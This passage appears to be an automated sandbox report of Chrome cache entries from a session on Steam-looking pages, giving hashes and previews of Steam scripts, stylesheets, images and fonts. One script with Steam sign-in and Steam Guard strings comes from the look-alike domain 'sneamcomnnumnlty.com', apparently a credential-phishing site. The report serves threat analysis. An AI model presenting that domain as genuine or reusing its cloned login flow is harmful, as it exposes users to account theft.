Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	dropped
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3866), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	13403
Entropy (8bit):	5.915287626191495
Encrypted:	false
SSDEEP:	384:BjCJNHN6d3/j7SV7HJpeRhnXB065WTrps:BjA6dKV7pkRhnXB06crq
MD5:	6ACA988E27448BE9A66A780FD5403704
SHA1:	AB31336DD5AA9B6FFFF7EEDFBAE81F2B0A39056C
SHA-256:	7D6A54DA422438EA11BA4C42A289B9DF041F051F2964CEB8754E1A201DF0F220
SHA-512:	767010F5594D788BC4FE64F234A52BAAFF136122F37127CE62CA661B1F9804BAF33DA97DFEF0E80747E6E780453D55CE194F15800F4D0D5C37DBB2E0CDC7A6B5
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Preview:	.....game_area_description ul {...color: #acb2b8;...margin-left: 16px;...list-style-type: square;..}.....game_area_description ol {...color: #acb2b8;...margin-left: 20px;..}.....game_area_description ul li, .game_area_description ol li {...margin-bottom: 8px;..}.....sysreq_contents {...margin-top: 10px;..}.....game_area_sys_req,...album_metadata_chunk_contents {...font-size: 12px;.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */......}...game_area_sys_req_full p {...margin-bottom: 10px;..}.....game_area_sys_req strong,...album_metadata_chunk_name {.. font-family: Arial, Helvetica, sans-serif;...font-weight: normal;...font-size: 10px;...color: #bcc6cd;...text-transform: uppercase;...display: inline-block;...margin-right: 4px;..}.....album_metadata_chunk_name {...padding-right: 14px;..}.....game_area_sys_req ul {...list-style-type: none;...margin-left: 0px;...line-height: 18px;..}.....game_area_sys_req ul li {...margin: 2px 0px;..}...game_area_sys_req u

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	4.1162646156680225
Encrypted:	false
SSDEEP:	3:YHr0I1W/Aw:Y4I1W/Aw
MD5:	7D8E35AFA8792B923F4E6C5906E7C4B5
SHA1:	32168FBCD8A98B424F566046D3680648B49AC633
SHA-256:	D5C8F5FB29CA010EC4C6E11774D17B0CC27B21304811521E29141F581C061E87
SHA-512:	6C77E16CC85801E0D6732876B7A1B59F48CD19FE5FFBCF081C6EC96D496BE48421A92A4C0258AED151B922515B48553069B7188107B62AD0AB80B421B8D7CBB3
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/dynamicstore/saledata/?cc=US
Preview:	{"bAllowAppImpressions":true}

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_responsive_adapter.js?v=HxDIkB5FHAoX
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	downloaded
Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/en-hdy-RcQs.js
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	dropped
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	dropped
Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english
